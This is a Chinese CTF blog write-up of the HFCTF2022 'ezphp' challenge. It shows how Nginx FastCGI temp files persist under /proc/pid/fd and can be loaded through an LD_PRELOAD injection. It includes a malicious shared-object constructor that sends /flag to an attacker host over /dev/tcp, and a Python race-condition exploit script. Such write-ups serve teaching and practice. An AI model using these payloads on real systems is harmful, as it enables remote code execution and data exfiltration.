[HFCTF2022]ezphp

前言:

好久没更过博客,因为一直在补JAVA.  有空了就复现下今年的HF。

考点:

Nginx-Fastcgi  缓存文件

脚本编写遍历pid,fd

解题:


这题  有个putenv  猜测大概流程就是加载恶意的 so 进行反弹shell 

此题的考点是 NGINX 在后端 fastcgi 相应过大 或者 请求正文 body 过大时,会产生临时文件。

如果一个进程打开了某个文件,某个文件就会出现在 /proc/pid/fd/目录下,我们的思路就是通过重复发过大的恶意so文件造成缓存,然后他会存在这个目录下,再使用LD_PRELOAD去加载链接库。

LD_PRELOAD加载so:

这个问题太经典 就不说了

#include 
#include 
__attribute__ ((constructor)) void call ()
{
	unsetenv("LD_PRELOAD");
	char str[65536];
	system("bash -c 'cat /flag' > /dev/tcp/pvs/port");
	system("cat /flag > /var/www/html/flag");
}
gcc -shared -fPIC /test/hack.c -o hack.so -ldl
export LD_PRELOAD=/test/hack.so

exp:

import threading , requests,time

url = f"http://590fbd75-ed0a-4034-b216-087a5dba05bb.node4.buuoj.cn:81/"
flag = ""
nginx_workers= [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]


def upload():    #上传 so 文件 且 Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
    print("[+] starting upload")
    while True:
        requests.get(url,data=open("exp.so","rb").read() + (16*1024* "A").encode())
        print(flag)

for q in range(16):
    t = threading.Thread(target=upload).start()
    time.sleep(0.5)


def bruter(pid):    #遍历 pid 下的 fd ,修改LD_PRELOAD
    while True:
        time.sleep(10)
        print(f"[+ ] brust restart {pid}")
        for fd in (4,32):
            f = f'/proc/{pid}/fd/{fd}'
            print(f)
            try:
                r = requests.get(url,params={'env':'LD_PRELOAD=' + f,})    #加载 恶意的exp.so
                print(r.text)
            except Exception:
                pass

for pid in  nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, )).start()

打不通 因为一直爆429  没办法 ,只好放弃。

关于Nginx临时文件在/proc下

当Nginx的fastcgui接收到的响应大小超过32Kb就会在/var/lib/nginx/fastcgi产生一个存放相应内容的临时文件, 但其实这个过程可以说是稍纵即逝,文件创建到删除的窗口期根本不足以让我们及时的就行文件加载, 这时候就用到了记录进程信息的文件夹/proc/pid/fd。 在Linux上,在一个进程中打开的文件描述符集可以在/proc/PID/fd/路径下访问,其中PID是进程标识符。

​ 在这里面存放有进程打开的全部资源文件的软链接, 最重要的是即使临时文件被删除了也还是一样可以被正常读取(条件竞争)

所以我们就可以将临时文件上传控制为我们的恶意so文件, 然后设置payload为

?env=LD_PRELOAD=/proc/pid/fd/file_id

利用条件竞争去加载so,之后的echo命令 就会加载我们的恶意so文件

此题总结:

  1. 让后端 php 请求一个过大的文件
  2. Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  3. 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  4. 遍历 pid 以及 fd ,修改LD_PRELOAD完成 LFI

如何找PID?

那么有个问题,那我们是不是得遍历 PID 再遍历FD? 是的,只能利用脚本建立多一些的线程,(看个人电脑的上限), 让包含文件的进程阶梯式的扫描完每组的pid(例如20个线程则每组pid数为20,先扫了1-20然后扫21-40一次递增)。因为一般在fd中的文件号不会超过70, 每组我们需要跑1400(20*70)次, 这个对于计算机并没有太大压力, 。

此外, 对于题目环境的docker来说, 打开的服务并不会很多, 所以pid也不会很大, 一般情况下例如我建立的docker中处理请求的Nginx Workerpid一直是二百多, 所以即使是从0开始逐渐遍历那也只需要跑300*70*20次, 这段时间的等待对我们来说还是可以接受的。

​ 如果想要直接进入自己的docker找到处理请求的Nginx Worker, 就需要找到/proc/pid/cmdline文件内容为 nginx: worker process的进程, 一个Nginx服务默认只有一个Nginx Worker所以也就不难找了

fastcgi外的临时文件

实际上除了 /var/lib/nginx/fastcgi  会新建临时文件缓存数据外,在/var/lib/nginx/body 下也建立存放 请求数据的临时文件,文件的格式为 : /client_body_temp/xxxxxxxxxx  (前面的为0 ,后面的数字例如 0000000001.

但是这个临时文件保存是否会执行也是有一定的限制的, 这个限制就是上文要保留临时文件的第一种情况:    client_body_in_file_only  配置开启, 这个配置的说明为 Determines whether nginx should save the entire client request body into a file(决定nginx是否应该将整个客户端请求正文保存到一个文件中), 但很可惜在默认下它是Off。

rethink:

受益匪浅。

参考:

HFCTF2022 Web ezphp_Sk1y的博客-CSDN博客

我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)

2022 虎符CTF Writeup by 唯独你没懂

HFCTF 2022-EZPHP - h0cksr - 博客园 (cnblogs.com)

你可能感兴趣的:(Fastcgi,BUUCTF,1024程序员节,网络安全,web安全,php)